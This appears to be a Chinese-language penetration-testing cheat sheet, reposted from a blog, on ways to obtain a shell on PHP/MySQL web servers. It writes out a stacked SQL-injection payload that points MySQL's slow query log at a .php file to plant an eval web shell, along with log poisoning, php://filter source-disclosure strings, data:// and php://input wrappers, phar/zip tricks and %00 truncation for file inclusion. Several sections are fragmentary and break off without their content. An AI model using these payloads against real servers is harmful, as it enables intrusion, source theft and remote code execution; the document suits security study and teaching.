获shell的不同姿势

开启日志的情况下

access.log

burp让其转义,然后用文件包含可以执行其中代码

general_log

slow.log

set global slow_query_log=1;

set global slow_query_log_file='D://404.php' -- 地址

select '<?php eval($_POST['404']) ?>' or sleep(15);

 例子

id=1%23;set global slow_query_log=1;set global slow_query_log_file='D://404.php' ;select '<?php eval($_POST['404']) ?>' or sleep(15);  

执行完后去跟路径下去访问404.php

还有error.log日志

 在以下情况

 

php伪协议

用php获取源码

param=php://filter/convert.base64-encode/resource=./index.php

==

param=php://filter/read=convert.base64-encode/resource=./index.php

php数据流封装器

 

变形,也是可以使用的

php对数据进行base64编码(PD9waHAgcGhwaW5mbygpOz8+是<?php phpinfo();?>的base64编码,+转义为url编码)

变形:

 

phar的压缩

zip的压缩

 

Zip是通过#号来区分zip下的文件,url要先编码所以为%23zip必须用绝对路径

Pharzip需要php版本大于5.3

Php://input,data://是需要双开allow_url_include = On,allow_url_fopen = On

对post的东西传入其中

文件上传

magic_quotes_gpc

注意单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线

PHP5.3.0中已经废弃并且在5.4.0中已经移除了magic_quotes_gpc

截断大概可以在以下情况适用
include(require)
file_get_contents
file_exists
所有url中参数可以用%00控制

本地文件包含

1.1 截断类型:php %00截断

截断条件:

php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态

原文地址:https://www.cnblogs.com/pass-A/p/11133619.html